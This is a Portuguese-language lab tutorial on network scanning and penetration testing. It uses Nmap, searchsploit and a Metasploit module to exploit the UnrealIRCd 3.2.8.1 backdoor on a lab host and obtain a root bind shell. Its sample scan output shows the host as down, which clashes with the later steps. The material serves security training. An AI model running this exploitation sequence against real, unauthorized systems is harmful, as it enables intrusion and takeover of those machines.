Introdução
A varredura de rede (network scanning) é uma disciplina extremamente prática. Através da varredura de rede, os utilizadores podem descobrir as portas atribuídas a vários serviços no host alvo, serviços abertos, software e versões dos serviços, e outras informações.
Neste laboratório, você aprenderá como escanear vulnerabilidades de segurança de serviços de rede de um host alvo.
Use o Nmap para Escanear Portas Abertas no Host Alvo
O fluxo de trabalho básico da varredura de rede (network scanning) é o seguinte:
- Descobrir o host alvo
- Varredura de portas (port scanning)
- Varredura de informações de impressão digital (fingerprint information scanning)
- Varredura de vulnerabilidades (vulnerability scanning)
- Realizar ataques de penetração
Nmap (Network Mapper) é uma poderosa ferramenta de varredura de rede. Ele suporta várias técnicas de varredura, como UDP, TCP connect(), TCP SYN (varredura half-open), proxy FTP (ataque bounce), flag reverse, ICMP, FIN, ACK scanning, SYN scanning e null scanning.
Neste passo, você usará o Nmap para escanear as portas abertas no host alvo.
- Abra um terminal e entre no container Kali:
docker run -ti --network host b5b709a49cd5 bash
- Use o comando
nmappara escanear o host alvo 192.168.122.102:
nmap -p 1-65535 -T4 -A -v 192.168.122.102 > /tmp/report.txt
Este comando escaneia todas as portas de 1 a 65535 no host alvo, com uma política de tempo de 4 (mais rápido), habilita a identificação de impressão digital do sistema operacional e a detecção de versão, e salva a saída em /tmp/report.txt.
Analisar os Resultados da Varredura
Após escanear o host alvo, você precisa analisar os resultados da varredura para identificar potenciais vulnerabilidades.
- Visualizar o relatório da varredura:
cat /tmp/report.txt
Este comando exibe o conteúdo do arquivo /tmp/report.txt, que contém informações sobre as portas abertas, serviços e versões no host alvo. Aqui está um exemplo da saída que você pode ver:
Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-23 15:28 UTC
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 15:28
Completed NSE at 15:28, 0.00s elapsed
Initiating NSE at 15:28
Completed NSE at 15:28, 0.00s elapsed
Initiating NSE at 15:28
Completed NSE at 15:28, 0.00s elapsed
Initiating ARP Ping Scan at 15:28
Scanning 192.168.122.102 [1 port]
Completed ARP Ping Scan at 15:28, 1.42s elapsed (1 total hosts)
Nmap scan report for 192.168.122.102 [host down]
NSE: Script Post-scanning.
Initiating NSE at 15:28
Completed NSE at 15:28, 0.00s elapsed
Initiating NSE at 15:28
Completed NSE at 15:28, 0.00s elapsed
Initiating NSE at 15:28
Completed NSE at 15:28, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 1.98 seconds
Raw packets sent: 2 (56B) | Rcvd: 0 (0B)
- Use a ferramenta
searchsploitpara pesquisar informações sobre vulnerabilidades:
searchsploit unreal ircd
Este comando pesquisa no Exploit Database por vulnerabilidades relacionadas ao serviço "unreal ircd". Aqui está um exemplo da saída que você pode ver:
---------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------------------------------------------- ---------------------------------
UnrealIRCd 3.2.8.1 - Backdoor Command Execution (Metasploit) | linux/remote/16922.rb
UnrealIRCd 3.2.8.1 - Local Configuration Stack Overflow | windows/dos/18011.txt
UnrealIRCd 3.2.8.1 - Remote Downloader/Execute | linux/remote/13853.pl
UnrealIRCd 3.x - Remote Denial of Service | windows/dos/27407.pl
---------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
- Visualizar os detalhes de uma vulnerabilidade:
cat /usr/share/exploitdb/exploits/linux/remote/16922.rb
Este comando exibe o conteúdo do arquivo de exploit de vulnerabilidade localizado em /usr/share/exploitdb/exploits/linux/remote/16922.rb.
Explorar uma Vulnerabilidade
Após analisar os resultados da varredura e identificar potenciais vulnerabilidades, você pode tentar explorar uma vulnerabilidade para um ataque de penetração.
Identifique uma vulnerabilidade explorável a partir dos resultados da varredura. Por exemplo, vamos supor que a varredura encontrou uma porta aberta 6667 com um serviço vulnerável.
Inicie o Metasploit Framework:
cd ~
msfconsole
- No console do Metasploit, selecione o módulo de exploit apropriado:
use exploit/unix/irc/unreal_ircd_3281_backdoor
- Defina o endereço IP do host alvo:
set RHOST 192.168.122.102
- Defina o payload (carga útil):
set PAYLOAD cmd/unix/bind_perl
- Lance o exploit:
exploit
Se a exploração for bem-sucedida, você obterá acesso ao host alvo.
- Após tentar explorar uma vulnerabilidade, você deve verificar se a exploração foi bem-sucedida. Na sessão do Metasploit, verifique o usuário atual e o nome do host:
whoami
hostname
Se a saída mostrar que você está logado como o usuário root e o nome do host corresponder ao host alvo, a exploração foi bem-sucedida.
Pressione Ctrl+D para sair do console do Metasploit e então iniciar a inspeção
Resumo
Neste laboratório, você aprendeu o fluxo de trabalho básico da varredura de rede, que inclui a descoberta do host alvo, a varredura de portas, a varredura de informações de impressão digital (fingerprint), a varredura de vulnerabilidades e a realização de ataques de penetração. Você utilizou a poderosa ferramenta Nmap para escanear as portas abertas no host alvo e analisou os resultados da varredura para identificar potenciais vulnerabilidades. Além disso, você aprendeu como pesquisar informações sobre vulnerabilidades usando a ferramenta searchsploit e como explorar uma vulnerabilidade usando o Metasploit Framework. Por fim, você verificou o sucesso da exploração, verificando o usuário atual e o nome do host no host alvo.
Através deste laboratório prático, você adquiriu experiência prática na varredura de vulnerabilidades de segurança de serviços de rede e na realização de ataques de penetração. Este conhecimento é crucial para garantir a segurança dos sistemas de rede e identificar riscos potenciais.



